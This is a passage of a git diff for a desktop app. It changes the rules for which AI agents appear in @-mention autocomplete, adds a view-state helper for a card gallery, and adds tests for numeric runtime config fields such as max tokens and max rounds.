+    relayAgentCanRespondInChannel(agent, "general", OTHER_OWNER_PUBKEY),
+    false,
+  );
+});
+
 test("getMentionableAgentPubkeys: keeps managed agents and shared relay agents", () => {
   const result = getMentionableAgentPubkeys({
+    eligibilityScope: { type: "community" },
     managedAgentPubkeys: [PUB_A],
     currentPubkey: CURRENT_PUBKEY,
     relayAgents: [
@@ -136,42 +162,99 @@ test("getMentionableAgentPubkeys: keeps managed agents and shared relay agents",
   assert.deepEqual(result, new Set([PUB_A, PUB_B, PUB_C]));
 });
 
-test("isAgentIdentityDiscoverable: keeps people and locally managed agent identities", () => {
-  const managedAgentPubkeys = new Set([PUB_A]);
+test("getMentionableAgentPubkeys: scopes channel composers and fails closed without context", () => {
+  const relayAgents = [
+    {
+      pubkey: PUB_B,
+      respondTo: "allowlist",
+      respondToAllowlist: [CURRENT_PUBKEY],
+      channelIds: ["general"],
+    },
+  ];
+  const base = {
+    currentPubkey: CURRENT_PUBKEY,
+    managedAgentPubkeys: [PUB_A],
+    relayAgents,
+    sharedChannelIds: new Set(["general"]),
+  };
+
+  assert.deepEqual(
+    getMentionableAgentPubkeys({
+      ...base,
+      eligibilityScope: { type: "channel", channelId: "general" },
+    }),
+    new Set([PUB_A, PUB_B]),
+  );
+  assert.deepEqual(
+    getMentionableAgentPubkeys({
+      ...base,
+      eligibilityScope: { type: "channel", channelId: "other" },
+    }),
+    new Set([PUB_A]),
+  );
+  assert.deepEqual(
+    getMentionableAgentPubkeys({
+      ...base,
+      eligibilityScope: { type: "managed-only" },
+    }),
+    new Set([PUB_A]),
+  );
+});
+
+test("autocomplete helper extraction preserves safe filtering and labels", () => {
+  assert.equal(isAgentMentionChannelType("stream"), true);
+  assert.equal(isAgentMentionChannelType("forum"), true);
+  assert.equal(isAgentMentionChannelType("dm"), false);
+  assert.equal(isAgentMentionChannelType(null), false);
+
+  assert.deepEqual(
+    uniqueAutocompleteLabels([
+      { displayName: " Alice ", personaName: "alice" },
+      { displayName: null, secondaryLabel: "Bob" },
+      { displayName: "BOB" },
+    ]),
+    ["Alice", "Bob"],
+  );
+
+  const person = { pubkey: PUB_A, isAgent: false };
+  const admittedAgent = { pubkey: PUB_B.toUpperCase(), isAgent: true };
+  const removedAgent = { pubkey: PUB_C, isAgent: true };
+  const persona = { isAgent: true };
+  assert.deepEqual(
+    filterCachedAgentSuggestions(
+      [person, admittedAgent, removedAgent, persona],
+      [{ pubkey: PUB_B, isAgent: true }],
+    ),
+    [person, admittedAgent, persona],
+  );
+});
+
+test("isAgentIdentityInAllowedList: keeps people and only explicitly allowed agent identities", () => {
+  const allowedAgentPubkeys = new Set([PUB_A]);
 
   assert.equal(
-    isAgentIdentityDiscoverable(
+    isAgentIdentityInAllowedList(
       { isAgent: false, pubkey: PUB_B },
-      managedAgentPubkeys,
+      allowedAgentPubkeys,
     ),
     true,
   );
   assert.equal(
-    isAgentIdentityDiscoverable(
+    isAgentIdentityInAllowedList(
       { isAgent: true, pubkey: PUB_A.toUpperCase() },
-      managedAgentPubkeys,
+      allowedAgentPubkeys,
     ),
     true,
   );
   assert.equal(
-    isAgentIdentityDiscoverable(
+    isAgentIdentityInAllowedList(
       { isAgent: true, pubkey: PUB_B },
-      managedAgentPubkeys,
+      allowedAgentPubkeys,
     ),
     false,
   );
 });
 
-test("isAgentIdentityDiscoverable: keeps channel-member agents managed on another device", () => {
-  assert.equal(
-    isAgentIdentityDiscoverable(
-      { isAgent: true, isMember: true, pubkey: PUB_B },
-      new Set(),
-    ),
-    true,
-  );
-});
-
 test("shouldHideAgentFromMentions: never hides non-agents", () => {
   assert.equal(
     shouldHideAgentFromMentions({
@@ -179,6 +262,7 @@ test("shouldHideAgentFromMentions: never hides non-agents", () => {
       isMember: false,
       pubkey: PUB_A,
       mentionableAgentPubkeys: new Set(),
+      directoryAgentPubkeys: new Set([PUB_A]),
     }),
     false,
   );
@@ -191,6 +275,7 @@ test("shouldHideAgentFromMentions: shows invocable agents even when non-member",
       isMember: false,
       pubkey: PUB_A,
       mentionableAgentPubkeys: new Set([PUB_A]),
+      directoryAgentPubkeys: new Set([PUB_A]),
     }),
     false,
   );
@@ -203,20 +288,22 @@ test("shouldHideAgentFromMentions: hides non-member non-invocable agents", () =>
       isMember: false,
       pubkey: PUB_A,
       mentionableAgentPubkeys: new Set(),
+      directoryAgentPubkeys: new Set(),
     }),
     true,
   );
 });
 
-test("shouldHideAgentFromMentions: shows member agents even when the local owner is unavailable", () => {
+test("shouldHideAgentFromMentions: hides member agents with an explicit not-invocable directory entry (Fizz)", () => {
   assert.equal(
     shouldHideAgentFromMentions({
       isAgent: true,
       isMember: true,
       pubkey: PUB_A,
       mentionableAgentPubkeys: new Set(),
+      directoryAgentPubkeys: new Set([PUB_A]),
     }),
-    false,
+    true,
   );
 });
 
@@ -227,6 +314,7 @@ test("shouldHideAgentFromMentions: shows member agents with unknown invocability
       isMember: true,
       pubkey: PUB_A,
       mentionableAgentPubkeys: new Set(),
+      directoryAgentPubkeys: new Set(),
     }),
     false,
   );
@@ -239,11 +327,12 @@ test("shouldHideAgentFromMentions: normalizes the pubkey before lookup", () => {
   assert.equal(
     shouldHideAgentFromMentions({
       isAgent: true,
-      isMember: false,
+      isMember: true,
       pubkey: mixedCase,
-      mentionableAgentPubkeys: new Set([normalized]),
+      mentionableAgentPubkeys: new Set(),
+      directoryAgentPubkeys: new Set([normalized]),
     }),
-    false,
+    true,
   );
 });
 
diff --git a/desktop/src/features/agents/lib/agentAutocompleteEligibility.ts b/desktop/src/features/agents/lib/agentAutocompleteEligibility.ts
index b9e8c2acaa..0abdad82fa 100644
--- a/desktop/src/features/agents/lib/agentAutocompleteEligibility.ts
+++ b/desktop/src/features/agents/lib/agentAutocompleteEligibility.ts
@@ -30,13 +30,31 @@ export function relayAgentIsSharedWithUser(
   );
 }
 
+export function relayAgentCanRespondInChannel(
+  agent: Pick<RelayAgent, "channelIds" | "respondTo" | "respondToAllowlist">,
+  channelId: string,
+  currentPubkey?: string | null,
+) {
+  return (
+    agent.channelIds.includes(channelId) &&
+    relayAgentIsSharedWithUser(agent, new Set([channelId]), currentPubkey)
+  );
+}
+
+export type AgentEligibilityScope =
+  | { type: "community" }
+  | { type: "channel"; channelId: string }
+  | { type: "managed-only" };
+
 export function getMentionableAgentPubkeys({
   currentPubkey,
+  eligibilityScope,
   managedAgentPubkeys,
   relayAgents,
   sharedChannelIds,
 }: {
   currentPubkey?: string | null;
+  eligibilityScope: AgentEligibilityScope;
   managedAgentPubkeys: Iterable<string>;
   relayAgents: readonly RelayAgent[] | undefined;
   sharedChannelIds: ReadonlySet<string>;
@@ -46,7 +64,17 @@ export function getMentionableAgentPubkeys({
   );
 
   for (const agent of relayAgents ?? []) {
-    if (relayAgentIsSharedWithUser(agent, sharedChannelIds, currentPubkey)) {
+    const isAllowed =
+      eligibilityScope.type === "managed-only"
+        ? false
+        : eligibilityScope.type === "community"
+          ? relayAgentIsSharedWithUser(agent, sharedChannelIds, currentPubkey)
+          : relayAgentCanRespondInChannel(
+              agent,
+              eligibilityScope.channelId,
+              currentPubkey,
+            );
+    if (isAllowed) {
       pubkeys.add(normalizePubkey(agent.pubkey));
     }
   }
@@ -54,14 +82,13 @@ export function getMentionableAgentPubkeys({
   return pubkeys;
 }
 
-export function isAgentIdentityDiscoverable(
-  candidate: { isAgent?: boolean; isMember?: boolean; pubkey: string },
-  managedAgentPubkeys: ReadonlySet<string>,
+export function isAgentIdentityInAllowedList(
+  candidate: { isAgent?: boolean; pubkey: string },
+  allowedAgentPubkeys: ReadonlySet<string>,
 ) {
   return (
     candidate.isAgent !== true ||
-    candidate.isMember === true ||
-    managedAgentPubkeys.has(normalizePubkey(candidate.pubkey))
+    allowedAgentPubkeys.has(normalizePubkey(candidate.pubkey))
   );
 }
 
@@ -70,21 +97,86 @@ export function shouldHideAgentFromMentions({
   isMember,
   pubkey,
   mentionableAgentPubkeys,
+  directoryAgentPubkeys,
 }: {
   isAgent: boolean;
   isMember: boolean;
   pubkey: string;
   mentionableAgentPubkeys: ReadonlySet<string>;
+  directoryAgentPubkeys: ReadonlySet<string>;
 }) {
-  // Channel membership is sufficient for people and agents alike. Whether an
-  // agent is managed on this device only governs local lifecycle controls.
-  if (!isAgent || isMember) return false;
-  return !mentionableAgentPubkeys.has(normalizePubkey(pubkey));
+  if (!isAgent) return false;
+  const normalized = normalizePubkey(pubkey);
+  // Invocable => always show.
+  if (mentionableAgentPubkeys.has(normalized)) return false;
+  // Non-member, non-invocable => hide (preserves prior behavior).
+  if (!isMember) return true;
+  // Member (Option B): hide only when we have an explicit not-invocable
+  // signal — a relay directory (kind:10100) entry that excludes us.
+  // Unknown invocability (not in directory) => show.
+  //
+  // NOTE: this assumes `directoryAgentPubkeys` and `mentionableAgentPubkeys`
+  // share the same source query (`relayAgentsQuery.data`), so directory
+  // presence without membership in `mentionableAgentPubkeys` is a real
+  // explicit-exclusion signal. If a future change sources the directory set
+  // from a different query, an agent that's directory-present but whose
+  // mentionability is still loading could be hidden prematurely — keep the
+  // two sets derived from the same query.
+  return directoryAgentPubkeys.has(normalized);
+}
+
+export function isAgentMentionChannelType(type?: string | null) {
+  return type === "stream" || type === "forum";
+}
+
+export function uniqueAutocompleteLabels(
+  candidates: readonly AgentAutocompleteCandidate[],
+) {
+  const unique = new Map<string, string>();
+  for (const candidate of candidates) {
+    for (const label of [
+      candidate.displayName,
+      candidate.personaName,
+      candidate.secondaryLabel,
+    ]) {
+      const trimmed = label?.trim();
+      if (trimmed && !unique.has(trimmed.toLowerCase())) {
+        unique.set(trimmed.toLowerCase(), trimmed);
+      }
+    }
+  }
+  return [...unique.values()];
+}
+
+export function filterCachedAgentSuggestions<
+  T extends {
+    isAgent?: boolean;
+    pubkey?: string;
+  },
+>(
+  suggestions: readonly T[],
+  currentCandidates: readonly AgentAutocompleteCandidate[],
+) {
+  const admittedAgentPubkeys = new Set(
+    currentCandidates.flatMap((candidate) =>
+      candidate.isAgent && candidate.pubkey
+        ? [normalizePubkey(candidate.pubkey)]
+        : [],
+    ),
+  );
+  return suggestions.filter(
+    (suggestion) =>
+      !suggestion.isAgent ||
+      !suggestion.pubkey ||
+      admittedAgentPubkeys.has(normalizePubkey(suggestion.pubkey)),
+  );
 }
 
 type AgentAutocompleteCandidate = {
   pubkey?: string;
   displayName?: string | null;
+  personaName?: string | null;
+  secondaryLabel?: string | null;
   ownerPubkey?: string | null;
   isAgent?: boolean;
   isManagedAgent?: boolean;
diff --git a/desktop/src/features/agents/lib/agentCardGalleryState.test.mjs b/desktop/src/features/agents/lib/agentCardGalleryState.test.mjs
new file mode 100644
index 0000000000..ebc7caa8f4
--- /dev/null
+++ b/desktop/src/features/agents/lib/agentCardGalleryState.test.mjs
@@ -0,0 +1,96 @@
+import assert from "node:assert/strict";
+import { describe, it } from "node:test";
+
+// Pins the gallery's query-state boundary: a rejected `list_agent_cards`
+// MUST surface as an error state — never as "No cards yet". `data` falls
+// back to `[]` at the call site, so an emptiness-first branch would render
+// a permissions/IPC failure as a false empty archive of paid cards.
+
+import { agentCardGalleryViewState } from "./agentCardGalleryState.ts";
+
+describe("agentCardGalleryViewState", () => {
+  it("maps a rejected query to an error state with the message, not empty", () => {
+    const state = agentCardGalleryViewState({
+      isLoading: false,
+      isError: true,
+      error: new Error("cards directory unreadable"),
+      data: undefined,
+    });
+    assert.deepEqual(state, {
+      kind: "error",
+      message: "cards directory unreadable",
+    });
+  });
+
+  it("error wins even when data has fallen back to an empty array", () => {
+    // react-query keeps `data: undefined` on first failure, but the call
+    // site coalesces to []. Guard the exact shape that caused the bug.
+    const state = agentCardGalleryViewState({
+      isLoading: false,
+      isError: true,
+      error: new Error("ipc failure"),
+      data: [],
+    });
+    assert.equal(state.kind, "error");
+  });
+
+  it("stringifies non-Error rejections", () => {
+    const state = agentCardGalleryViewState({
+      isLoading: false,
+      isError: true,
+      error: "permission denied",
+      data: undefined,
+    });
+    assert.deepEqual(state, { kind: "error", message: "permission denied" });
+  });
+
+  it("null/undefined rejections still produce a message", () => {
+    const state = agentCardGalleryViewState({
+      isLoading: false,
+      isError: true,
+      error: null,
+      data: undefined,
+    });
+    assert.deepEqual(state, { kind: "error", message: "unknown error" });
+  });
+
+  it("loading while fetching", () => {
+    const state = agentCardGalleryViewState({
+      isLoading: true,
+      isError: false,
+      error: null,
+      data: undefined,
+    });
+    assert.deepEqual(state, { kind: "loading" });
+  });
+
+  it("no data yet (not loading, not error) stays loading, not empty", () => {
+    const state = agentCardGalleryViewState({
+      isLoading: false,
+      isError: false,
+      error: null,
+      data: undefined,
+    });
+    assert.deepEqual(state, { kind: "loading" });
+  });
+
+  it("resolved and empty is the only path to the empty state", () => {
+    const state = agentCardGalleryViewState({
+      isLoading: false,
+      isError: false,
+      error: null,
+      data: [],
+    });
+    assert.deepEqual(state, { kind: "empty" });
+  });
+
+  it("resolved with cards renders cards", () => {
+    const state = agentCardGalleryViewState({
+      isLoading: false,
+      isError: false,
+      error: null,
+      data: [{ storedFileName: "a.png" }],
+    });
+    assert.deepEqual(state, { kind: "cards" });
+  });
+});
diff --git a/desktop/src/features/agents/lib/agentCardGalleryState.ts b/desktop/src/features/agents/lib/agentCardGalleryState.ts
new file mode 100644
index 0000000000..8f6cf4269e
--- /dev/null
+++ b/desktop/src/features/agents/lib/agentCardGalleryState.ts
@@ -0,0 +1,35 @@
+/**
+ * View-state selection for the minted-card gallery.
+ *
+ * Kept as a pure function so the error boundary is testable without a DOM:
+ * a rejected `list_agent_cards` query MUST surface as an error state, never
+ * as an empty archive — "No cards yet" on a permissions/IPC failure tells
+ * someone their paid, persisted cards do not exist.
+ */
+
+export type AgentCardGalleryViewState =
+  | { kind: "loading" }
+  | { kind: "error"; message: string }
+  | { kind: "empty" }
+  | { kind: "cards" };
+
+export function agentCardGalleryViewState(query: {
+  isLoading: boolean;
+  isError: boolean;
+  error: unknown;
+  data: readonly unknown[] | undefined;
+}): AgentCardGalleryViewState {
+  // Error wins over everything: `data` falls back to `[]` at the call site,
+  // so checking emptiness first would render a failure as a false empty.
+  if (query.isError) {
+    const message =
+      query.error instanceof Error
+        ? query.error.message
+        : String(query.error ?? "unknown error");
+    return { kind: "error", message };
+  }
+  if (query.isLoading || query.data === undefined) {
+    return { kind: "loading" };
+  }
+  return query.data.length === 0 ? { kind: "empty" } : { kind: "cards" };
+}
diff --git a/desktop/src/features/agents/lib/agentConfigCore.test.mjs b/desktop/src/features/agents/lib/agentConfigCore.test.mjs
index 62d8a61a6f..92159ff275 100644
--- a/desktop/src/features/agents/lib/agentConfigCore.test.mjs
+++ b/desktop/src/features/agents/lib/agentConfigCore.test.mjs
@@ -1,7 +1,12 @@
 import assert from "node:assert/strict";
 import test from "node:test";
 
-import { deriveAgentConfigFieldModel } from "./agentConfigCore.ts";
+import {
+  deriveAgentConfigFieldModel,
+  deriveNumericDescriptors,
+  structuredEnvKeys,
+} from "./agentConfigCore.ts";
+import { NUMERIC_KIND_MIN } from "../ui/buzzAgentModelTuningFields.tsx";
 
 const config = {
   env_vars: { BUZZ_AGENT_THINKING_EFFORT: "high" },
@@ -23,6 +28,9 @@ function runtime(id, metadata = {}) {
     modelEnvVar: null,
     providerEnvVar: null,
     thinkingEnvVar: null,
+    maxTokensEnvVar: null,
+    contextLimitEnvVar: null,
+    maxRoundsEnvVar: null,
     installHint: "",
     installInstructionsUrl: "",
     canAutoInstall: false,
@@ -152,3 +160,404 @@ test("catalog mismatch cleanup is named and restricted to onboarding", () => {
     onCatalogMismatch: "explainOnly",
   });
 });
+
+// ── Numeric descriptor derivation per runtime ─────────────────────────────
+//
+// The catalog-projected fields (maxTokensEnvVar, contextLimitEnvVar,
+// maxRoundsEnvVar) determine which numeric descriptors appear in the field
+// model. Capability facts flow catalog → descriptor → UI; no runtime-ID
+// comparison decides numeric-field visibility.
+
+test("buzz-agent derives three numeric descriptors from catalog fields", () => {
+  const model = deriveAgentConfigFieldModel({
+    config,
+    runtime: runtime("buzz-agent", {
+      modelEnvVar: "BUZZ_AGENT_MODEL",
+      providerEnvVar: "BUZZ_AGENT_PROVIDER",
+      thinkingEnvVar: "BUZZ_AGENT_THINKING_EFFORT",
+      maxTokensEnvVar: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+      contextLimitEnvVar: "BUZZ_AGENT_MAX_CONTEXT_TOKENS",
+      maxRoundsEnvVar: "BUZZ_AGENT_MAX_ROUNDS",
+    }),
+    scope: "global",
+  });
+
+  const numericKinds = model.fields
+    .filter((f) =>
+      ["maxOutputTokens", "contextLimit", "maxRounds"].includes(f.kind),
+    )
+    .map((f) => f.kind);
+  assert.deepEqual(numericKinds, [
+    "maxOutputTokens",
+    "contextLimit",
+    "maxRounds",
+  ]);
+
+  const maxOutput = field(model, "maxOutputTokens");
+  assert.equal(maxOutput.render, "control");
+  assert.deepEqual(maxOutput.currentPersistence, {
+    kind: "envVar",
+    key: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+  });
+  assert.deepEqual(maxOutput.targetApplication, {
+    kind: "envVar",
+    key: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+  });
+
+  const ctx = field(model, "contextLimit");
+  assert.deepEqual(ctx.currentPersistence, {
+    kind: "envVar",
+    key: "BUZZ_AGENT_MAX_CONTEXT_TOKENS",
+  });
+
+  const rounds = field(model, "maxRounds");
+  assert.deepEqual(rounds.currentPersistence, {
+    kind: "envVar",
+    key: "BUZZ_AGENT_MAX_ROUNDS",
+  });
+});
+
+test("Goose derives two numeric descriptors and no maxRounds", () => {
+  const model = deriveAgentConfigFieldModel({
+    config,
+    runtime: runtime("goose", {
+      modelEnvVar: "GOOSE_MODEL",
+      providerEnvVar: "GOOSE_PROVIDER",
+      thinkingEnvVar: "GOOSE_THINKING_EFFORT",
+      maxTokensEnvVar: "GOOSE_MAX_TOKENS",
+      contextLimitEnvVar: "GOOSE_CONTEXT_LIMIT",
+      maxRoundsEnvVar: null, // Goose has no max-rounds env var
+    }),
+    scope: "global",
+  });
+
+  const numericKinds = model.fields
+    .filter((f) =>
+      ["maxOutputTokens", "contextLimit", "maxRounds"].includes(f.kind),
+    )
+    .map((f) => f.kind);
+  assert.deepEqual(numericKinds, ["maxOutputTokens", "contextLimit"]);
+  assert.equal(
+    field(model, "maxRounds"),
+    undefined,
+    "maxRounds must be absent for Goose",
+  );
+
+  assert.deepEqual(field(model, "maxOutputTokens").currentPersistence, {
+    kind: "envVar",
+    key: "GOOSE_MAX_TOKENS",
+  });
+  assert.deepEqual(field(model, "contextLimit").currentPersistence, {
+    kind: "envVar",
+    key: "GOOSE_CONTEXT_LIMIT",
+  });
+});
+
+test("Claude derives no numeric descriptors", () => {
+  const model = deriveAgentConfigFieldModel({
+    config,
+    runtime: runtime("claude"),
+    scope: "global",
+  });
+
+  const hasNumeric = model.fields.some((f) =>
+    ["maxOutputTokens", "contextLimit", "maxRounds"].includes(f.kind),
+  );
+  assert.equal(hasNumeric, false, "Claude must have no numeric descriptors");
+});
+
+test("Codex derives no numeric descriptors", () => {
+  const model = deriveAgentConfigFieldModel({
+    config,
+    runtime: runtime("codex"),
+    scope: "global",
+  });
+
+  const hasNumeric = model.fields.some((f) =>
+    ["maxOutputTokens", "contextLimit", "maxRounds"].includes(f.kind),
+  );
+  assert.equal(hasNumeric, false, "Codex must have no numeric descriptors");
+});
+
+test("numeric descriptor value is read from env_vars when set", () => {
+  const cfgWithTuning = {
+    env_vars: {
+      BUZZ_AGENT_MAX_OUTPUT_TOKENS: "8192",
+      BUZZ_AGENT_MAX_CONTEXT_TOKENS: "100000",
+      BUZZ_AGENT_MAX_ROUNDS: "25",
+    },
+    model: "test-model",
+    preferred_runtime: null,
+    provider: "anthropic",
+  };
+  const model = deriveAgentConfigFieldModel({
+    config: cfgWithTuning,
+    runtime: runtime("buzz-agent", {
+      maxTokensEnvVar: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+      contextLimitEnvVar: "BUZZ_AGENT_MAX_CONTEXT_TOKENS",
+      maxRoundsEnvVar: "BUZZ_AGENT_MAX_ROUNDS",
+    }),
+    scope: "global",
+  });
+
+  assert.equal(field(model, "maxOutputTokens").value, "8192");
+  assert.equal(field(model, "contextLimit").value, "100000");
+  assert.equal(field(model, "maxRounds").value, "25");
+});
+
+test("numeric descriptor value is null when env var is absent", () => {
+  const cfgEmpty = {
+    env_vars: {},
+    model: "test-model",
+    preferred_runtime: null,
+    provider: null,
+  };
+  const model = deriveAgentConfigFieldModel({
+    config: cfgEmpty,
+    runtime: runtime("buzz-agent", {
+      maxTokensEnvVar: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+      contextLimitEnvVar: "BUZZ_AGENT_MAX_CONTEXT_TOKENS",
+      maxRoundsEnvVar: "BUZZ_AGENT_MAX_ROUNDS",
+    }),
+    scope: "global",
+  });
+
+  assert.equal(field(model, "maxOutputTokens").value, null);
+  assert.equal(field(model, "contextLimit").value, null);
+  assert.equal(field(model, "maxRounds").value, null);
+});
+
+// ── structuredEnvKeys: rendered-descriptor ownership ─────────────────────
+//
+// structuredEnvKeys accepts the descriptors a surface ACTUALLY renders and
+// returns the env-var keys that surface owns. Keys only appear in the output
+// when a first-class control for them renders — a persisted value must never
+// have zero editors.
+//
+// Critical invariant: per-agent Goose passes only its two numeric descriptors
+// (no effort descriptor, because no effort control renders there). The effort
+// key (BUZZ_AGENT_THINKING_EFFORT) must NOT appear in the output — it must
+// stay a visible generic env row where any saved value can be edited.
+
+test("structuredEnvKeys_global_includes_effort_key_and_numeric_keys", () => {
+  // Global surface renders effort + all numeric descriptors.
+  const buzzAgentModel = deriveAgentConfigFieldModel({
+    config,
+    runtime: runtime("buzz-agent", {
+      modelEnvVar: "BUZZ_AGENT_MODEL",
+      providerEnvVar: "BUZZ_AGENT_PROVIDER",
+      thinkingEnvVar: "BUZZ_AGENT_THINKING_EFFORT",
+      maxTokensEnvVar: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+      contextLimitEnvVar: "BUZZ_AGENT_MAX_CONTEXT_TOKENS",
+      maxRoundsEnvVar: "BUZZ_AGENT_MAX_ROUNDS",
+    }),
+    scope: "global",
+  });
+
+  // Global renders all renderable descriptors.
+  const renderedDescriptors = buzzAgentModel.fields.filter(
+    (f) => f.render === "control",
+  );
+  const keys = structuredEnvKeys(renderedDescriptors);
+
+  assert.ok(
+    keys.includes("BUZZ_AGENT_THINKING_EFFORT"),
+    "effort key must be hidden on global (effort control renders)",
+  );
+  assert.ok(
+    keys.includes("BUZZ_AGENT_MAX_OUTPUT_TOKENS"),
+    "maxOutputTokens key must be hidden on global",
+  );
+  assert.ok(
+    keys.includes("BUZZ_AGENT_MAX_CONTEXT_TOKENS"),
+    "contextLimit key must be hidden on global",
+  );
+  assert.ok(
+    keys.includes("BUZZ_AGENT_MAX_ROUNDS"),
+    "maxRounds key must be hidden on global",
+  );
+});
+
+test("structuredEnvKeys_per_agent_buzz_agent_includes_effort_and_numeric_keys", () => {
+  // Per-agent buzz-agent renders effort + all 3 numeric descriptors.
+  const buzzAgentModel = deriveAgentConfigFieldModel({
+    config,
+    runtime: runtime("buzz-agent", {
+      thinkingEnvVar: "BUZZ_AGENT_THINKING_EFFORT",
+      maxTokensEnvVar: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+      contextLimitEnvVar: "BUZZ_AGENT_MAX_CONTEXT_TOKENS",
+      maxRoundsEnvVar: "BUZZ_AGENT_MAX_ROUNDS",
+    }),
+    scope: "definition",
+  });
+
+  const renderedDescriptors = buzzAgentModel.fields.filter(
+    (f) => f.render === "control",
+  );
+  const keys = structuredEnvKeys(renderedDescriptors);
+
+  assert.ok(keys.includes("BUZZ_AGENT_THINKING_EFFORT"), "effort key present");
+  assert.ok(keys.includes("BUZZ_AGENT_MAX_OUTPUT_TOKENS"), "maxTokens present");
+  assert.ok(
+    keys.includes("BUZZ_AGENT_MAX_CONTEXT_TOKENS"),
+    "contextLimit present",
+  );
+  assert.ok(keys.includes("BUZZ_AGENT_MAX_ROUNDS"), "maxRounds present");
+});
+
+test("structuredEnvKeys_per_agent_goose_excludes_effort_key_discriminating_invariant", () => {
+  // Per-agent Goose: effort migration is out of scope, so no effort control
+  // renders on the per-agent surface for Goose. Only the 2 numeric descriptors
+  // are passed as the rendered set. The effort persistence key
+  // (BUZZ_AGENT_THINKING_EFFORT) must NOT appear in the output — any saved
+  // value must remain visible and editable as a generic env row.
+  const gooseModel = deriveAgentConfigFieldModel({
+    config,
+    runtime: runtime("goose", {
+      thinkingEnvVar: "GOOSE_THINKING_EFFORT",
+      maxTokensEnvVar: "GOOSE_MAX_TOKENS",
+      contextLimitEnvVar: "GOOSE_CONTEXT_LIMIT",
+    }),
+    scope: "definition",
+  });
+
+  // Simulate per-agent surface: only the numeric descriptors render (no effort
+  // control for Goose per-agent — effort migration is out of scope).
+  const numericDescriptorsOnly = gooseModel.fields.filter((f) =>
+    ["maxOutputTokens", "contextLimit", "maxRounds"].includes(f.kind),
+  );
+
+  const keys = structuredEnvKeys(numericDescriptorsOnly);
+
+  assert.equal(
+    keys.includes("BUZZ_AGENT_THINKING_EFFORT"),
+    false,
+    "effort persistence key must NOT be hidden for Goose per-agent — no editor would replace it",
+  );
+  assert.ok(
+    keys.includes("GOOSE_MAX_TOKENS"),
+    "maxTokens key must be present (control renders)",
+  );
+  assert.ok(
+    keys.includes("GOOSE_CONTEXT_LIMIT"),
+    "contextLimit key must be present (control renders)",
+  );
+});
+
+test("structuredEnvKeys_deferred_effort_excluded_from_result", () => {
+  // A deferred effort descriptor (render !== "control") must not contribute
+  // its key to the hidden set — the value has no editor on this surface.
+  const claudeModel = deriveAgentConfigFieldModel({
+    config,
+    runtime: runtime("claude"),
+    scope: "global",
+  });
+
+  const allDescriptors = claudeModel.fields; // includes deferred effort
+  const keys = structuredEnvKeys(allDescriptors);
+
+  // Claude's deferred effort has currentPersistence.kind === "unavailable"
+  // and render === "deferredUntilNativeOptionsAvailable"; no key emitted.
+  assert.equal(
+    keys.length,
+    0,
+    "deferred effort and model descriptors must not contribute hidden keys",
+  );
+});
+
+// ── deriveNumericDescriptors: standalone helper ───────────────────────────
+//
+// The same logic that populates the numeric portion of deriveAgentConfigFieldModel
+// is available as a standalone helper for per-agent surfaces that don't need
+// the full field model.
+
+test("deriveNumericDescriptors_undefined_runtime_returns_empty", () => {
+  const ds = deriveNumericDescriptors(undefined);
+  assert.deepEqual(ds, []);
+});
+
+test("deriveNumericDescriptors_runtime_with_all_three_fields", () => {
+  const ds = deriveNumericDescriptors(
+    runtime("buzz-agent", {
+      maxTokensEnvVar: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+      contextLimitEnvVar: "BUZZ_AGENT_MAX_CONTEXT_TOKENS",
+      maxRoundsEnvVar: "BUZZ_AGENT_MAX_ROUNDS",
+    }),
+  );
+  assert.deepEqual(
+    ds.map((d) => d.kind),
+    ["maxOutputTokens", "contextLimit", "maxRounds"],
+  );
+  for (const d of ds) {
+    assert.equal(d.render, "control");
+    assert.equal(d.currentPersistence.kind, "envVar");
+    assert.equal(d.value, null, "standalone helper returns null values");
+  }
+});
+
+test("deriveNumericDescriptors_partial_fields_match_catalog_projection", () => {
+  // Goose: two numeric fields, no maxRounds.
+  const ds = deriveNumericDescriptors(
+    runtime("goose", {
+      maxTokensEnvVar: "GOOSE_MAX_TOKENS",
+      contextLimitEnvVar: "GOOSE_CONTEXT_LIMIT",
+      maxRoundsEnvVar: null,
+    }),
+  );
+  assert.deepEqual(
+    ds.map((d) => d.kind),
+    ["maxOutputTokens", "contextLimit"],
+  );
+});
+
+test("deriveNumericDescriptors_matches_deriveAgentConfigFieldModel_numeric_subset", () => {
+  // The standalone helper must produce the same descriptor set (without values)
+  // that deriveAgentConfigFieldModel embeds, so surfaces that call the helper
+  // directly get a consistent policy with the full field model.
+  const runtimeEntry = runtime("buzz-agent", {
+    maxTokensEnvVar: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+    contextLimitEnvVar: "BUZZ_AGENT_MAX_CONTEXT_TOKENS",
+    maxRoundsEnvVar: "BUZZ_AGENT_MAX_ROUNDS",
+  });
+
+  const standalone = deriveNumericDescriptors(runtimeEntry);
+  const fromModel = deriveAgentConfigFieldModel({
+    config,
+    runtime: runtimeEntry,
+    scope: "global",
+  }).fields.filter((f) =>
+    ["maxOutputTokens", "contextLimit", "maxRounds"].includes(f.kind),
+  );
+
+  // Kinds and keys must match; values differ (standalone returns null, model
+  // reads from config).
+  assert.deepEqual(
+    standalone.map((d) => d.kind),
+    fromModel.map((d) => d.kind),
+    "descriptor kinds must match",
+  );
+  for (let i = 0; i < standalone.length; i++) {
+    assert.deepEqual(
+      standalone[i].currentPersistence,
+      fromModel[i].currentPersistence,
+      `persistence must match for descriptor ${i}`,
+    );
+  }
+});
+
+// ── NUMERIC_KIND_MIN: kind-specific input minima ──────────────────────────
+//
+// max output tokens and context limit must have min=1 (buzz-agent rejects 0).
+// max rounds allows 0 (meaning unlimited).
+
+test("NUMERIC_KIND_MIN_maxOutputTokens_is_1", () => {
+  assert.equal(NUMERIC_KIND_MIN.maxOutputTokens, 1);
+});
+
+test("NUMERIC_KIND_MIN_contextLimit_is_1", () => {
+  assert.equal(NUMERIC_KIND_MIN.contextLimit, 1);
+});
+
+test("NUMERIC_KIND_MIN_maxRounds_is_0", () => {
+  assert.equal(NUMERIC_KIND_MIN.maxRounds, 0);
+});
diff --git a/desktop/src/features/agents/lib/agentConfigCore.ts b/desktop/src/features/agents/lib/agentConfigCore.ts
index 5827aedfa7..5a8b8cb1c3 100644
--- a/desktop/src/features/agents/lib/agentConfigCore.ts
